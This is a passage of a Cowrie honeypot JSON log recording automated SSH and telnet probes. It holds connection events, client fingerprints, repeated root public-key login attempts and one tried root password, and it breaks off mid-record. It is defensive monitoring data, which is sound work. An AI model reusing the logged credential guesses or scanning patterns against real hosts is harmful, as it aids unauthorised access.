{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:16.466804Z","src_ip":"4.210.91.174","session":"0026553b6218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n00dle","message":"login attempt [root/n00dle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:16.767024Z","src_ip":"4.210.91.174","session":"0026553b6218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:17.841156Z","src_ip":"4.210.91.174","session":"0026553b6218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.682148933410645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:18.951894Z","src_ip":"50.6.8.71","session":"ecfe8ae0f42c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87345361709595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:23.867365Z","src_ip":"50.6.8.71","session":"315d372fb0d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.636473894119263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:25.280502Z","src_ip":"50.6.8.71","session":"d18546905d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.32671904563904,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:25.727965Z","src_ip":"50.6.8.71","session":"795b048fd1d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.614776849746704,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:26.874946Z","src_ip":"50.6.8.71","session":"c4a74ca3f458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64756989479065,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:32.870419Z","src_ip":"50.6.8.71","session":"48a140e1cfca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60418,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e52f3471d40","protocol":"telnet","message":"New connection: 50.6.8.71:60418 (10.17.0.5:23) [session: 2e52f3471d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:41.581357Z"}
{"eventid":"cowrie.session.closed","duration":63.46070313453674,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:42.822723Z","src_ip":"50.6.8.71","session":"1399a10ff4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60428,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ad8a1f2337","protocol":"telnet","message":"New connection: 50.6.8.71:60428 (10.17.0.5:23) [session: 94ad8a1f2337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:42.991769Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60438,"dst_ip":"10.17.0.5","dst_port":23,"session":"c373d64032ae","protocol":"telnet","message":"New connection: 50.6.8.71:60438 (10.17.0.5:23) [session: c373d64032ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:43.838542Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54518,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a84cc62149","protocol":"telnet","message":"New connection: 50.6.8.71:54518 (10.17.0.5:23) [session: f4a84cc62149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:47.756428Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":55928,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd88ff20c95c","protocol":"ssh","message":"New connection: 192.95.10.204:55928 (10.17.0.5:22) [session: bd88ff20c95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.257374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.262552Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.284166Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:47:ca:24:f9:c1:47:95:e8:cd:cb:08:fa:1a:7a:9d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAljLnUfMNJDLh80EVnUGkh0wfghBre6FuzV2SlEExMG","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 90:47:ca:24:f9:c1:47:95:e8:cd:cb:08:fa:1a:7a:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.365520Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:47:ca:24:f9:c1:47:95:e8:cd:cb:08:fa:1a:7a:9d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAljLnUfMNJDLh80EVnUGkh0wfghBre6FuzV2SlEExMG","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.370020Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:e8:1d:5e:6e:d6:9f:87:90:b1:2a:d6:e4:10:00:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqrjtxnmPiKa8PpXWNGs/4ek78pTZIjykyL2nendaXdsmchA2fDX9FgFE17tIwKEsdhF8b3pYy+Oa8PN3pdjc4LvJu/FhtsrjcSR4VNhsTwR+t+EsgNtu/eY/sEXW5Y2tKlnk9fizOQHkLezOZN2mGucPlTTIhvBiB9tDTlMrCfBFoC8rkMeQNG5N+cZIBfa1JWjlxNNqYIU2w3K4VVN3KxJd4b67ZIK9gn3VrSCFOr5WW5UoTDmPwKYrf/86O0Wx3yrNSzukGzPIviC+PppODmcH3AbQp16nl8g+V6jAp6wdXYp3NyUh1yo1qJKqTzgwtxToRodTRdtugXzy+AQkry7m+U9VWXqMM6HYXWbyC5Qhonymbmtim5u7mKI9s9iMIEmRIn23ZMwojEhZFTRElaFJJ0FTTDAUeY6SwkRFzJIB/9QYjqvoE+U6JDDjT/JzE1URD1EPkYz0sAguIqMz7j1gi8znVNhmhsxhF2sDZYoFIyIO/iyKJn3vQ2pgtSKXmh8pz7/NTCntk2+oDsz1xpoa7iUBJ0sFbMMmCNmveRgct5UeFHVBVXc207Ca4Ajr+1mDQM3M/lkarmD3KPO5oZvgjEzYnanMsfAPSelw3xaxAF+H+8j316Ci7gN7/qQeSAWv81Ruz5WncrJ1fDiHJX9hOZy6NF8Gs5kWtLI+wXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:e8:1d:5e:6e:d6:9f:87:90:b1:2a:d6:e4:10:00:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.392957Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:e8:1d:5e:6e:d6:9f:87:90:b1:2a:d6:e4:10:00:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqrjtxnmPiKa8PpXWNGs/4ek78pTZIjykyL2nendaXdsmchA2fDX9FgFE17tIwKEsdhF8b3pYy+Oa8PN3pdjc4LvJu/FhtsrjcSR4VNhsTwR+t+EsgNtu/eY/sEXW5Y2tKlnk9fizOQHkLezOZN2mGucPlTTIhvBiB9tDTlMrCfBFoC8rkMeQNG5N+cZIBfa1JWjlxNNqYIU2w3K4VVN3KxJd4b67ZIK9gn3VrSCFOr5WW5UoTDmPwKYrf/86O0Wx3yrNSzukGzPIviC+PppODmcH3AbQp16nl8g+V6jAp6wdXYp3NyUh1yo1qJKqTzgwtxToRodTRdtugXzy+AQkry7m+U9VWXqMM6HYXWbyC5Qhonymbmtim5u7mKI9s9iMIEmRIn23ZMwojEhZFTRElaFJJ0FTTDAUeY6SwkRFzJIB/9QYjqvoE+U6JDDjT/JzE1URD1EPkYz0sAguIqMz7j1gi8znVNhmhsxhF2sDZYoFIyIO/iyKJn3vQ2pgtSKXmh8pz7/NTCntk2+oDsz1xpoa7iUBJ0sFbMMmCNmveRgct5UeFHVBVXc207Ca4Ajr+1mDQM3M/lkarmD3KPO5oZvgjEzYnanMsfAPSelw3xaxAF+H+8j316Ci7gN7/qQeSAWv81Ruz5WncrJ1fDiHJX9hOZy6NF8Gs5kWtLI+wXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.404431Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:9b:1b:ad:6b:d8:f3:5e:8d:c1:0f:40:48:9f:9f:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH08dR2f+zTh2C6VXiHaVfaeKkG582e1wDsV91vbN3j+KmRRik54ItvJMymdOxaC6HDrtKS3aKy5yODTt5s8v3ONGjzlz4GAYuqI4CNso4eW697thBiLCmeVf2a7iK2CI6CjzJw2pOX3Rwi4JJ7iQ6yrdfuhNdzWq4629CbBWZZ7IsXwJ5mEFs3b1VkWTQXEBs4h9gpyVoN174d5NFejomCDrWNoW3eMJIY74J/iU+HXrZ4pbpzw+tCi/Mb+rJAR3YWh47vYtaudRsGXseIsXilZtVFuKGni/Ak3p1kE2lZiioKLRLgr4RAgKDYADMENNoaoEK7yR4aqg7+E21u9PbYTn+Ws0iIwd6aaVTjY2ZTyc14QuJfXjddxvhP81uOF5U5dKMBSeEsjbLj+2B3C5MSoTNoQUGXU7ZpqVPZvEvE0//nEGnJmPWZg6r4FfzEJSKim03TQofTYmue4K694VouDia5ENJnkyqz39PcaiB0u+VbEOfKG+hJSAXdRH24VS0UXdWh5L9CgAsxfIhHltbmBdu7v6/e2GiIszAfZY68B1DoGuclD65k/pnbAKfpNB273UeXYI2q7Aee9sfqrGncGzECmvHYR6pTFx4VHd/5vJSsoq3UJhRlosKIn3qq7Cm+K/NYvxB15qKWgN80IlG4PMZjpQfYG/pHAaX7mWknw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:9b:1b:ad:6b:d8:f3:5e:8d:c1:0f:40:48:9f:9f:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.427681Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:9b:1b:ad:6b:d8:f3:5e:8d:c1:0f:40:48:9f:9f:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH08dR2f+zTh2C6VXiHaVfaeKkG582e1wDsV91vbN3j+KmRRik54ItvJMymdOxaC6HDrtKS3aKy5yODTt5s8v3ONGjzlz4GAYuqI4CNso4eW697thBiLCmeVf2a7iK2CI6CjzJw2pOX3Rwi4JJ7iQ6yrdfuhNdzWq4629CbBWZZ7IsXwJ5mEFs3b1VkWTQXEBs4h9gpyVoN174d5NFejomCDrWNoW3eMJIY74J/iU+HXrZ4pbpzw+tCi/Mb+rJAR3YWh47vYtaudRsGXseIsXilZtVFuKGni/Ak3p1kE2lZiioKLRLgr4RAgKDYADMENNoaoEK7yR4aqg7+E21u9PbYTn+Ws0iIwd6aaVTjY2ZTyc14QuJfXjddxvhP81uOF5U5dKMBSeEsjbLj+2B3C5MSoTNoQUGXU7ZpqVPZvEvE0//nEGnJmPWZg6r4FfzEJSKim03TQofTYmue4K694VouDia5ENJnkyqz39PcaiB0u+VbEOfKG+hJSAXdRH24VS0UXdWh5L9CgAsxfIhHltbmBdu7v6/e2GiIszAfZY68B1DoGuclD65k/pnbAKfpNB273UeXYI2q7Aee9sfqrGncGzECmvHYR6pTFx4VHd/5vJSsoq3UJhRlosKIn3qq7Cm+K/NYvxB15qKWgN80IlG4PMZjpQfYG/pHAaX7mWknw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.431350Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:0f:17:e8:02:63:d3:59:ef:6d:38:56:0c:43:3c:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSlom5V4ahtAnQtG0l66DCmn40dRsLc8CmX+d3vZ7UerKMPoidBoGBuBNJ/GuNFGD+4C1Aa/pXcpJMA5yeX+hyPd/VcCfI4gKdPkYHY/HwtOKzFG/fQiM9Kp1mNLBEzWMLbLlCyVey+3uhQGgRU2dL9sesCsMohnxwqjC5iXp1dFkiFaC82QDhmoeNRii/8psLZb3o8025yBTprTS29TrBBoTVcpxeUHnAlxu271d/AOfllrz5pVSOrlRVGnJzHBdIFEQol4lmrW8SLUXhMJ5ThK66qBQVNnTht6XaRQ+rlXNJecFlgEw3mqEp09YYIJNqVNNGj41Dx0pFhXoG523LFSZC+/NpPsYvvVYonQTWXFznuKJGiiBj4qD5gXbk5uNPJDd37cn2XUPwew3AP5hsvRrdh5Ym39z4KcMHfG2k2tgIdM8ZjSx8kxU6ieuwuUDv5onWcUnACc9pJBraADLqSy3XrUdi43sZG8pUnFwChUb/8lhaV0O0mJB2b5CM/GaM4rQGVIbjFQaN/c0H5dSpYshx0nO4exzI4Oc5Z0mMZnUzB5Z/ogLjuPci+y3cUpkE99zkKp/Jbk1H+HSlFEtbmnR+Q8KQnZYd6//Huqq1Ewpjm495yGLQGCqOqjDsW0qZQUcCPX1tg5dbdVt/CMfVKD/bLnATxmXbDR2qnpVXAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:0f:17:e8:02:63:d3:59:ef:6d:38:56:0c:43:3c:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.453263Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:0f:17:e8:02:63:d3:59:ef:6d:38:56:0c:43:3c:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSlom5V4ahtAnQtG0l66DCmn40dRsLc8CmX+d3vZ7UerKMPoidBoGBuBNJ/GuNFGD+4C1Aa/pXcpJMA5yeX+hyPd/VcCfI4gKdPkYHY/HwtOKzFG/fQiM9Kp1mNLBEzWMLbLlCyVey+3uhQGgRU2dL9sesCsMohnxwqjC5iXp1dFkiFaC82QDhmoeNRii/8psLZb3o8025yBTprTS29TrBBoTVcpxeUHnAlxu271d/AOfllrz5pVSOrlRVGnJzHBdIFEQol4lmrW8SLUXhMJ5ThK66qBQVNnTht6XaRQ+rlXNJecFlgEw3mqEp09YYIJNqVNNGj41Dx0pFhXoG523LFSZC+/NpPsYvvVYonQTWXFznuKJGiiBj4qD5gXbk5uNPJDd37cn2XUPwew3AP5hsvRrdh5Ym39z4KcMHfG2k2tgIdM8ZjSx8kxU6ieuwuUDv5onWcUnACc9pJBraADLqSy3XrUdi43sZG8pUnFwChUb/8lhaV0O0mJB2b5CM/GaM4rQGVIbjFQaN/c0H5dSpYshx0nO4exzI4Oc5Z0mMZnUzB5Z/ogLjuPci+y3cUpkE99zkKp/Jbk1H+HSlFEtbmnR+Q8KQnZYd6//Huqq1Ewpjm495yGLQGCqOqjDsW0qZQUcCPX1tg5dbdVt/CMfVKD/bLnATxmXbDR2qnpVXAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.457838Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:7c:0d:05:a1:b6:02:47:d4:06:6f:20:9c:40:88:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCFEf+o7O1PCr2ph7E/wRu8fk8+8jmGRITceMT0XDCkJnnGYkE7c6O2KKSSJqzzXZU1F64snXyPK8K/jhvjWdtOvzAlvxGprBrM/nEtaInoZqk9+sVj2bClG42Eq7hhwcKsqbo3ieKvN96aH3UawKcv+ncZGEonw4h7b4Z4O2FFYcqpQSEzZ0PTCj00u3iGsUQeneOe+v6NAqAI/LzzDKZFWH0XbUvy/hyPAEsKSUdtsOXggFgMNcy8uZa6K0uHqWVxKZgZA8jKc7D1gjycdLLG3dm6awnkgUbeIR5ye2/KneMol8j2d5Trush8eM4kKYzeCto43RuYM6YhpIDiHpUn7OCtd0IJgVhhM8vOoHyqOa8+TyNdIggNa+pXbZAqoWfCsSqtSwZVpMA5dvgVfVHyD64un4omrmZnSUXnhNa5sw2bt7nYZ+vO3edqLfRTbpFp4ben9B12u58WFWDLEinvQPSB75JI4YuuhWNZPWTlQdxM3wrW0z9X5YQaHZb7vm4dXHdlozKj4JsaxGohQFqqMhu9q3CCOTyU7189TIMMe0bjAvUrT1dGo7jIDw6rqW8jeh3o7BqETsSlkpuXHa0UXyKgjgh4ofFQArLbOjbQgbLCtA+VN4pO5JhG0v/A6jsqk4t1mayEbWYI2cTpv50hIDUJuAPh/PB0meXxoAQZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:7c:0d:05:a1:b6:02:47:d4:06:6f:20:9c:40:88:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.479751Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:7c:0d:05:a1:b6:02:47:d4:06:6f:20:9c:40:88:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCFEf+o7O1PCr2ph7E/wRu8fk8+8jmGRITceMT0XDCkJnnGYkE7c6O2KKSSJqzzXZU1F64snXyPK8K/jhvjWdtOvzAlvxGprBrM/nEtaInoZqk9+sVj2bClG42Eq7hhwcKsqbo3ieKvN96aH3UawKcv+ncZGEonw4h7b4Z4O2FFYcqpQSEzZ0PTCj00u3iGsUQeneOe+v6NAqAI/LzzDKZFWH0XbUvy/hyPAEsKSUdtsOXggFgMNcy8uZa6K0uHqWVxKZgZA8jKc7D1gjycdLLG3dm6awnkgUbeIR5ye2/KneMol8j2d5Trush8eM4kKYzeCto43RuYM6YhpIDiHpUn7OCtd0IJgVhhM8vOoHyqOa8+TyNdIggNa+pXbZAqoWfCsSqtSwZVpMA5dvgVfVHyD64un4omrmZnSUXnhNa5sw2bt7nYZ+vO3edqLfRTbpFp4ben9B12u58WFWDLEinvQPSB75JI4YuuhWNZPWTlQdxM3wrW0z9X5YQaHZb7vm4dXHdlozKj4JsaxGohQFqqMhu9q3CCOTyU7189TIMMe0bjAvUrT1dGo7jIDw6rqW8jeh3o7BqETsSlkpuXHa0UXyKgjgh4ofFQArLbOjbQgbLCtA+VN4pO5JhG0v/A6jsqk4t1mayEbWYI2cTpv50hIDUJuAPh/PB0meXxoAQZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.483923Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:49.508537Z","src_ip":"192.95.10.204","session":"bd88ff20c95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59712,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f735204506d","protocol":"telnet","message":"New connection: 50.6.8.71:59712 (10.17.0.5:23) [session: 3f735204506d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:41:56.176461Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59722,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db1196dfd08","protocol":"telnet","message":"New connection: 50.6.8.71:59722 (10.17.0.5:23) [session: 2db1196dfd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:03.801026Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ccdce5596e1","protocol":"telnet","message":"New connection: 50.6.8.71:45942 (10.17.0.5:23) [session: 1ccdce5596e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:07.256068Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35086,"dst_ip":"10.17.0.5","dst_port":22,"session":"1247c83fad26","protocol":"ssh","message":"New connection: 103.149.170.125:35086 (10.17.0.5:22) [session: 1247c83fad26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:09.148091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:09.153383Z","src_ip":"103.149.170.125","session":"1247c83fad26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"enc